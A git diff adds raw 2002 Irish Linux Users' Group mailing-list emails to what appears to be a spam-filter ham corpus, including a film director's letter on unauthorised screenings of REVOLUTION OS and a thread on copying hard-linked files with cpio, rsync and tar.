inconvenience the people planning to attend +the screening, I want to give IEEE and SlugLUG permission to screen +REVOLUTION OS at 1 PM on June 1. I would ask the members of SVLUG to +hold off on attending the screening for the simple reason that I am +trying to get REVOLUTION OS booked into the Camera 3 in San Jose, and I +would prefer that SVLUG's members have a chance to see a nice 35mm print +of the film. If my distributor is unable to book the film into a +theater in the Bay Area, I promise that I will work with SVLUG to +quickly set up a screening for its members. + +I realize there may be some members of SlugLUG who are unhappy that I +originally requested that they not hold an unauthorized screening of +REVOLUTION OS. There are several reasons why I made the request, and +none of them have anything to do with me wanting to be a jerk. + +One SlugLUG member commented that it was odd that a movie about the Open +Source movement would not be available for open viewings. Another +SlugLUG member remarked that my request smacks of Bill Gates's Open Letter +to Hobbyists. + +The bottomline is that I did make a film about the Open Source movement, +but to assume that automatically means that the film is itself Open +Sourced seems to be a little bit of a stretch. If I made a movie about +the history of vegetarianism that would not automatically mean I'm a +vegetarian. + +I simply thought Open Source and Free Software were compelling subjects +worth exploring and documenting. As a result, I came to admire many +aspects of the Open Source movement and chose to focus the documentary +on the movement's positive history. However, I do not think I should be +punished for telling the story of Free Software and Open Source by +having my intellectual property misappropriated. More practically, my +feelings about Open Sourcing REVOLUTION OS are abundantly clear when you +see the explicit copyright notice at the end of the film's credits. + +I realize that making a videotape copy for personal use from a TV airing +is considered fair use. I believe in a healthy fair use doctrine. +However, there is a big difference between viewing your personal copy at +home with a few friends and holding a publicly advertised screening on a +university campus. So I freely admit my objection to unauthorized +screenings of REVOLUTION OS does echo Bill Gates's letter. Personally, I +believe that the creator of a piece of intellectual property should +retain the choice to Open Source their IP. If the Open Source movement +is not voluntary then it is really just piracy. + +One of the reasons I am concern with unauthorized group screenings of +the film, is that my distributor is planning in a few weeks to begin +selling VHS copies of the film for educational/institutional use with a +license permitting noncommercial large group screenings. We hope to use +the money from these sales to fund the authoring and replication of the +DVD. I want to release the DVD as soon as possible, but I cannot afford +to take on anymore REVOLUTION OS-related debt. Thus the importance of +preserving the educational/institutional market. + +Frequently, I will read comments on Slashdot and other mailing lists +that justify the piracy of music on the grounds that it benefits the +artists and only hurts the greedy record labels. Well, in the case of +REVOLUTION OS there is no multinational media conglomerate to punish. +It's just me. I made and financed the film on my own. I have worked +full-time for almost three years without a salary. The only way I will +get out of debt and have a chance to make another film is if people seek +out legal opportunities to view REVOLUTION OS. + +I truly appreciate the enthusiasm of the Open Source community for +REVOLUTION OS, and I am grateful that people do want to see it. If you +will just bare with me, I will figure out a way for all interested +persons to legally view it. + +I hope the dust up over the unauthorized, and now authorized, screening +at UC Santa Cruz has not inconvenienced anyone. + +Sincerely, + +J.T.S. Moore +Director, REVOLUTION OS + + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00056.6647a720da7dad641f4028c9f6fbf4e5 b/bayes/spamham/easy_ham_2/00056.6647a720da7dad641f4028c9f6fbf4e5 new file mode 100644 index 0000000..9dece43 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00056.6647a720da7dad641f4028c9f6fbf4e5 @@ -0,0 +1,182 @@ +From social-admin@linux.ie Thu Aug 15 10:51:10 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 22D4643C51 + for ; Thu, 15 Aug 2002 05:49:38 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 15 Aug 2002 10:49:38 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7ENko409058 for + ; Thu, 15 Aug 2002 00:46:50 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id AAA04661; Thu, 15 Aug 2002 00:46:34 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from salmon.maths.tcd.ie (mmdf@salmon.maths.tcd.ie + [134.226.81.11]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id AAA04633 + for ; Thu, 15 Aug 2002 00:46:28 +0100 +Received: from turing.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id + ; 15 Aug 2002 00:46:28 +0100 (BST) +Date: Thu, 15 Aug 2002 00:46:23 +0100 (IST) +From: Alan Horkan +X-X-Sender: horkana@turing.maths.tcd.ie +To: Rick Moen +Cc: social@linux.ie +In-Reply-To: <20020814190213.GG9654@linuxmafia.com> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Subject: [ILUG-Social] Re: [ILUG] Linux: the film. +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + + +duly noted + +definately would make the extra effort to talk directly with these people +and mention to the IFC (local arts cinema) about a more approriate +showing. + +Would enough people in ILUG be interested to cover the possible costs +of a showing some Saturday afternoon/morning. + +Anyway this is distant future anyway i have too much on my plate already. + +I hope the DVD they produce wont be region coded, damned anti-consumer +cartels and monoplistic tendencies of coporate greed. + +Is this the same film the 2600 people are always going on about or is that +something else? + +Later +Alan + +On Wed, 14 Aug 2002, Rick Moen wrote: + +> Date: Wed, 14 Aug 2002 12:02:13 -0700 +> From: Rick Moen +> To: Alan Horkan +> Cc: social@linux.ie +> Subject: Re: [ILUG] Linux: the film. +> +> [Moved from the ILUG list. Not _entirely_ offlist as requested, but +> close enough.] +> +> Quoting Alan Horkan (horkana@tcd.ie): +> +> > More likely we would try and get it when it comes out on video/dvd and +> > show it then (which AFAIK is legal as we are non profit private +> > organisation having a private showing and not charging our members for +> > the showing. any opinions on the legality of this should be sent +> > offlist). +> +> +> One bloke's opinion: +> +> +> Date: Sat, 01 Jun 2002 00:18:29 -0700 +> From: "J.T.S. Moore" +> Reply-To: jtsmoore@pacificnet.net +> To: Marc MERLIN , +> Daniel Isacc Walker +> CC: svlug@svlug.org, Rick Moen , sluglug@sluglug.ucsc.edu, +> Peter Belew , "Eric A. Perlman" , +> i3e-off@cse.ucsc.edu, slug-web@sluglug.ucsc.edu +> Subject: REVOLUTION OS is now authorized for UC Santa Cruz screening +> +> To all, +> +> I have read the series of e-mails related to the unauthorized UC Santa +> Cruz screening that was scheduled for June 1. I sincerely appreciate +> IEEE's good faith effort to correct the mistake. +> +> Consequently, so as not to inconvenience the people planning to attend +> the screening, I want to give IEEE and SlugLUG permission to screen +> REVOLUTION OS at 1 PM on June 1. I would ask the members of SVLUG to +> hold off on attending the screening for the simple reason that I am +> trying to get REVOLUTION OS booked into the Camera 3 in San Jose, and I +> would prefer that SVLUG's members have a chance to see a nice 35mm print +> of the film. If my distributor is unable to book the film into a +> theater in the Bay Area, I promise that I will work with SVLUG to +> quickly set up a screening for its members. +> +> I realize there may be some members of SlugLUG who are unhappy that I +> originally requested that they not hold an unauthorized screening of +> REVOLUTION OS. There are several reasons why I made the request, and +> none of them have anything to do with me wanting to be a jerk. +> +> One SlugLUG member commented that it was odd that a movie about the Open +> Source movement would not be available for open viewings. Another +> SlugLUG member remarked that my request smacks of Bill Gates's Open Letter +> to Hobbyists. +> +> The bottomline is that I did make a film about the Open Source movement, +> but to assume that automatically means that the film is itself Open +> Sourced seems to be a little bit of a stretch. If I made a movie about +> the history of vegetarianism that would not automatically mean I'm a +> vegetarian. +> +> I simply thought Open Source and Free Software were compelling subjects +> worth exploring and documenting. As a result, I came to admire many +> aspects of the Open Source movement and chose to focus the documentary +> on the movement's positive history. However, I do not think I should be +> punished for telling the story of Free Software and Open Source by +> having my intellectual property misappropriated. More practically, my +> feelings about Open Sourcing REVOLUTION OS are abundantly clear when you +> see the explicit copyright notice at the end of the film's credits. +> +> I realize that making a videotape copy for personal use from a TV airing +> is considered fair use. I believe in a healthy fair use doctrine. +> However, there is a big difference between viewing your personal copy at +> home with a few friends and holding a publicly advertised screening on a +> university campus. So I freely admit my objection to unauthorized +> screenings of REVOLUTION OS does echo Bill Gates's letter. Personally, I +> believe that the creator of a piece of intellectual property should +> retain the choice to Open Source their IP. If the Open Source movement +> is not voluntary then it is really just piracy. +> +> One of the reasons I am concern with unauthorized group screenings of +> the film, is that my distributor is planning in a few weeks to begin +> selling VHS copies of the film for educational/institutional use with a +> license permitting noncommercial large group screenings. We hope to use +> the money from these sales to fund the authoring and replication of the +> DVD. I want to release the DVD as soon as possible, but I cannot afford +> to take on anymore REVOLUTION OS-related debt. Thus the importance of +> preserving the educational/institutional market. +> +> Frequently, I will read comments on Slashdot and other mailing lists +> that justify the piracy of music on the grounds that it benefits the +> artists and only hurts the greedy record labels. Well, in the case of +> REVOLUTION OS there is no multinational media conglomerate to punish. +> It's just me. I made and financed the film on my own. I have worked +> full-time for almost three years without a salary. The only way I will +> get out of debt and have a chance to make another film is if people seek +> out legal opportunities to view REVOLUTION OS. +> +> I truly appreciate the enthusiasm of the Open Source community for +> REVOLUTION OS, and I am grateful that people do want to see it. If you +> will just bare with me, I will figure out a way for all interested +> persons to legally view it. +> +> I hope the dust up over the unauthorized, and now authorized, screening +> at UC Santa Cruz has not inconvenienced anyone. +> +> Sincerely, +> +> J.T.S. Moore +> Director, REVOLUTION OS +> + + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00057.fc1c3f0f584c7ffe609d4abebba6e7d5 b/bayes/spamham/easy_ham_2/00057.fc1c3f0f584c7ffe609d4abebba6e7d5 new file mode 100644 index 0000000..e9b2d95 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00057.fc1c3f0f584c7ffe609d4abebba6e7d5 @@ -0,0 +1,59 @@ +From social-admin@linux.ie Mon Aug 19 11:46:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A202A43C47 + for ; Mon, 19 Aug 2002 06:28:46 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 11:28:46 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JAHx618179 for + ; Mon, 19 Aug 2002 11:17:59 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA32021; Mon, 19 Aug 2002 11:17:44 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail05.svc.cra.dublin.eircom.net + (mail05.svc.cra.dublin.eircom.net [159.134.118.21]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id LAA31993 for ; Mon, + 19 Aug 2002 11:17:38 +0100 +Received: (qmail 16061 messnum 264764 invoked from + network[159.134.146.25/pc537.as1.galway1.eircom.net]); 19 Aug 2002 + 10:17:08 -0000 +Received: from pc537.as1.galway1.eircom.net (HELO ciaran) (159.134.146.25) + by mail05.svc.cra.dublin.eircom.net (qp 16061) with SMTP; 19 Aug 2002 + 10:17:08 -0000 +Message-Id: <006701c2476a$64297820$ac0305c0@ciaran> +From: "Ciaran Mac Lochlainn" +To: "Linux Socials" +Date: Mon, 19 Aug 2002 11:22:58 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="utf-8" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2462.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2462.0000 +Subject: [ILUG-Social] Tim O'Reilly, Bill Gates and Edgar Villanueva +Sender: social-admin@linux.ie +Errors-To: social-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group social events +X-Beenthere: social@linux.ie + +Interesting take... + +"But the more I think about it, the more you I realize that having +governments specify software licensing policies is a bad idea." + +http://www.oreillynet.com/pub/wlg/1840 + + + +-- +Irish Linux Users' Group Social Events: social@linux.ie +http://www.linux.ie/mailman/listinfo/social for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00058.37ac999448cced70d3235112bc322563 b/bayes/spamham/easy_ham_2/00058.37ac999448cced70d3235112bc322563 new file mode 100644 index 0000000..450a5d4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00058.37ac999448cced70d3235112bc322563 @@ -0,0 +1,59 @@ +From ilug-admin@linux.ie Fri Jul 19 14:27:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CEC3A43FAD + for ; Fri, 19 Jul 2002 09:27:22 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 14:27:22 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JDPYJ32045 for + ; Fri, 19 Jul 2002 14:25:34 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA06600; Fri, 19 Jul 2002 14:21:16 +0100 +Received: from mail.magicgoeshere.com (nw152-60.indigo.ie [194.125.152.60] + (may be forged)) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id OAA06567 + for ; Fri, 19 Jul 2002 14:21:10 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host nw152-60.indigo.ie + [194.125.152.60] (may be forged) claimed to be mail.magicgoeshere.com +Received: from bagend.magicgoeshere.com (ts15-233.dublin.indigo.ie + [194.125.176.233]) by mail.magicgoeshere.com (Postfix) with ESMTP id + 3811FF8E3 for ; Fri, 19 Jul 2002 14:06:04 +0100 (IST) +Received: by bagend.magicgoeshere.com (Postfix, from userid 501) id + B108F3C04F; Fri, 19 Jul 2002 14:28:42 +0100 (IST) +Date: Fri, 19 Jul 2002 14:28:42 +0100 +From: Niall O Broin +To: ilug@linux.ie +Message-Id: <20020719132842.GA2506@bagend.makalumedia.com> +Reply-To: ilug@linux.ie +Mail-Followup-To: Niall O Broin , ilug@linux.ie +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.3.27i +Subject: [ILUG] How to copy some files +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +I have about 60G of data which I need to copy from one disk to another. +However, I'm not sure how I should best copy it. The problem is the bulk of +the data is images and most of these image have two directory entries i.e. +there is a hard link to each file. If I copy them using cp -a or my usual +favourite of find .|cpio -pmd other_dir it's going to copy each file twice, +which is not what I want. dump / restore would take care of this if the +source filesystem wasn't reiserfs :-( Any suggestions ? + + +Niall + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00059.eba13892cabde5b7591276eaa3378e7b b/bayes/spamham/easy_ham_2/00059.eba13892cabde5b7591276eaa3378e7b new file mode 100644 index 0000000..2c79c70 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00059.eba13892cabde5b7591276eaa3378e7b @@ -0,0 +1,73 @@ +From ilug-admin@linux.ie Fri Jul 19 14:32:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9310B43FAD + for ; Fri, 19 Jul 2002 09:32:52 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 14:32:52 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JDUlJ32430 for + ; Fri, 19 Jul 2002 14:30:47 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA07130; Fri, 19 Jul 2002 14:30:09 +0100 +Received: from roeex01.renre-europe.com ([62.17.152.2]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id OAA07103 for ; Fri, + 19 Jul 2002 14:30:02 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [62.17.152.2] claimed to + be roeex01.renre-europe.com +Received: from localhost.localdomain (ThisAddressDoesNotExist + [172.17.1.250]) by roeex01.renre-europe.com with SMTP (Microsoft Exchange + Internet Mail Service Version 5.5.2653.13) id PGQ2R2QQ; Fri, + 19 Jul 2002 14:54:06 +0100 +Subject: Re: [ILUG] How to copy some files +From: Mark Kilmartin +To: ilug@linux.ie +In-Reply-To: <20020719132842.GA2506@bagend.makalumedia.com> +References: <20020719132842.GA2506@bagend.makalumedia.com> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.7 +Date: 19 Jul 2002 14:29:34 +0100 +Message-Id: <1027085376.4944.9.camel@klein> +MIME-Version: 1.0 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +How about rsync. + +It doesn't only work for remote files. + +MArk + + +On Fri, 2002-07-19 at 14:28, Niall O Broin wrote: +> I have about 60G of data which I need to copy from one disk to another. +> However, I'm not sure how I should best copy it. The problem is the bulk of +> the data is images and most of these image have two directory entries i.e. +> there is a hard link to each file. If I copy them using cp -a or my usual +> favourite of find .|cpio -pmd other_dir it's going to copy each file twice, +> which is not what I want. dump / restore would take care of this if the +> source filesystem wasn't reiserfs :-( Any suggestions ? +> +> +> Niall +> +> -- +> Irish Linux Users' Group: ilug@linux.ie +> http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +> List maintainer: listmaster@linux.ie + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00060.f7d5d9acdd127366fbd626a310bd40c4 b/bayes/spamham/easy_ham_2/00060.f7d5d9acdd127366fbd626a310bd40c4 new file mode 100644 index 0000000..9a8a128 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00060.f7d5d9acdd127366fbd626a310bd40c4 @@ -0,0 +1,106 @@ +From ilug-admin@linux.ie Fri Jul 19 15:05:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D6F9743FAD + for ; Fri, 19 Jul 2002 10:05:39 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 15:05:39 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JE52J02557 for + ; Fri, 19 Jul 2002 15:05:02 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA08480; Fri, 19 Jul 2002 15:00:57 +0100 +Received: from linux.local ([195.218.108.86]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA08447 for ; Fri, + 19 Jul 2002 15:00:49 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [195.218.108.86] claimed + to be linux.local +Received: from linux.local (localhost [127.0.0.1]) by linux.local + (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id g6JE0CX02325 for + ; Fri, 19 Jul 2002 15:00:12 +0100 +Message-Id: <200207191400.g6JE0CX02325@linux.local> +To: Irish Linux Users Group +Reply-To: Irish Linux Users Group +Subject: Re: [ILUG] How to copy some files +In-Reply-To: Message from Niall O Broin of + "Fri, 19 Jul 2002 14:28:42 BST." + <20020719132842.GA2506@bagend.makalumedia.com> +X-Mailer: [nmh-1.0.4] MH.6.8, SuSE Linux 7.3 +X-Url: http://www.blf.utvinternet.ie +MIME-Version: 1.0 +Content-Type: text/plain; charset="utf-8" +Content-Id: <2322.1027087211.1@linux.local> +Date: Fri, 19 Jul 2002 15:00:12 +0100 +From: Brian Foster +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + PAA08447 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + | Date: Fri, 19 Jul 2002 14:28:42 +0100 + | From: Niall O Broin + | + | I have about 60G of data which I need to copy from one disk + | to another. However, I'm not sure how I should best copy it. + | The problem is the bulk of the data is images and most of these + | image have two directory entries i.e. there is a hard link to + | each file. If I copy them using cp -a or my usual favourite of + | find .|cpio -pmd other_dir it's going to copy each file twice, + | which is not what I want. dump / restore would take care of this + | if the source filesystem wasn't reiserfs :-( Any suggestions ? + + do your (and my) favourite, it'll be Ok: + + 1. cpio(1) preserves hard links, i.e., if F1 and F2 are + hard-linked and both are "copied", then the "copies" + are also hard-linked. this is true of all `cpio's + (and `tar' and any other decent/usable archival tool, + by definition (IMHO)). + + 2. `cpio -p' (at least `GNU cpio version 2.4.2') will only + read/write (copy) the actual data bytes once. I _think_ + this is true for all `cpio's (not just that GNU version), + but am not certain. + + if you use an intermediate archive, e.g.: + + cpio -o ... >file; ...; cpio -i ... +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7050843FAD + for ; Fri, 19 Jul 2002 10:29:25 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 15:29:25 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JER8J04398 for + ; Fri, 19 Jul 2002 15:27:08 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA09644; Fri, 19 Jul 2002 15:26:17 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from smtp016.mail.yahoo.com (smtp016.mail.yahoo.com + [216.136.174.113]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id PAA09619 + for ; Fri, 19 Jul 2002 15:26:10 +0100 +Received: from unknown (HELO mfrenchw2k) (mfrench42@62.254.163.42 with + login) by smtp.mail.vip.sc5.yahoo.com with SMTP; 19 Jul 2002 14:26:07 + -0000 +Message-Id: <003301c22f2f$b722ba30$3864a8c0@sabeo.ie> +From: "Matthew French" +To: +References: <20020719132842.GA2506@bagend.makalumedia.com> +Subject: Re: [ILUG] How to copy some files +Date: Fri, 19 Jul 2002 15:22:26 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Niall asked: +> I have about 60G of data which I need to copy from one disk to another. +> However, I'm not sure how I should best copy it. The problem is the bulk +of +> the data is images and most of these image have two directory entries i.e. +> there is a hard link to each file. If I copy them using cp -a or my usual +> favourite of find .|cpio -pmd other_dir it's going to copy each file +twice, +> which is not what I want. dump / restore would take care of this if the +> source filesystem wasn't reiserfs :-( Any suggestions ? + +How about something like: + +cd {dest.dir} +tar -C {source.dir} cf - | tar xf - + +tar cf - will pipe the tar file to stdout and tar xf - will untar it. This +should keep permissions and links, and if you do it as root you will keep +the owners too... :) + +Not tested, though. You may need other flags as well. + +- Matthew + + +__________________________________________________ +Do You Yahoo!? +Everything you'll ever need on one web page +from News and Sport to Email and Music Charts +http://uk.my.yahoo.comm + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00062.43847c613a539ca9c47b4593ee34bd6d b/bayes/spamham/easy_ham_2/00062.43847c613a539ca9c47b4593ee34bd6d new file mode 100644 index 0000000..6170d8f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00062.43847c613a539ca9c47b4593ee34bd6d @@ -0,0 +1,65 @@ +From ilug-admin@linux.ie Fri Jul 19 15:40:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 248A043FAD + for ; Fri, 19 Jul 2002 10:40:35 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 15:40:35 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JEZeJ05090 for + ; Fri, 19 Jul 2002 15:35:40 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA10057; Fri, 19 Jul 2002 15:31:50 +0100 +Received: from mail.magicgoeshere.com (nw152-60.indigo.ie [194.125.152.60] + (may be forged)) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id PAA10024 + for ; Fri, 19 Jul 2002 15:31:44 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host nw152-60.indigo.ie + [194.125.152.60] (may be forged) claimed to be mail.magicgoeshere.com +Received: from bagend.magicgoeshere.com (ts15-233.dublin.indigo.ie + [194.125.176.233]) by mail.magicgoeshere.com (Postfix) with ESMTP id + 3FB81F8E6 for ; Fri, 19 Jul 2002 15:16:38 +0100 (IST) +Received: by bagend.magicgoeshere.com (Postfix, from userid 501) id + 838F43C0CC; Fri, 19 Jul 2002 15:35:36 +0100 (IST) +Date: Fri, 19 Jul 2002 15:35:36 +0100 +From: Niall O Broin +To: ilug@linux.ie +Message-Id: <20020719143536.GC2506@bagend.makalumedia.com> +Reply-To: ilug@linux.ie +Mail-Followup-To: Niall O Broin , ilug@linux.ie +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.3.27i +Subject: [ILUG] OSI protocol +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +There's been some discussion just now on the ILUG IRC channel about OSI and +protocol layers. This reminded me of a poster produced by Wandel & +Goltermann (manufactureres of fine protocol decoders and testers) which +illustrates this admirably. The poster is in the form of a PDF file and to +be honest, is best appreciated if you have access to a HP DesignJet or +somesuch device. Wandel & Goltermann has now become/been taken over by +acterna and I couldn't find the poster there. However, it's available at +http://www.pb.bib.de/~dozloh/fachinfo/sdn_16/decodes.pdf and some of you ma +find it interesting. + +The top of the poster refers you to www.decodes.com for a more up to date +online copy of the poster. However, www.decodes.com now is redirected to the +aforementioned acterna and . . . . + + +Niall + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00063.530734e4a37f26942ba8df3208912783 b/bayes/spamham/easy_ham_2/00063.530734e4a37f26942ba8df3208912783 new file mode 100644 index 0000000..2a6b3eb --- /dev/null +++ b/bayes/spamham/easy_ham_2/00063.530734e4a37f26942ba8df3208912783 @@ -0,0 +1,69 @@ +From ilug-admin@linux.ie Fri Jul 19 16:13:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 39503440C8 + for ; Fri, 19 Jul 2002 11:13:14 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 16:13:14 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6JF8QJ07360 for + ; Fri, 19 Jul 2002 16:08:26 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA11494; Fri, 19 Jul 2002 16:04:53 +0100 +Received: from mail.tradesignals.com ([217.75.2.27]) by lugh.tuatha.org + (8.9.3/8.9.3) with 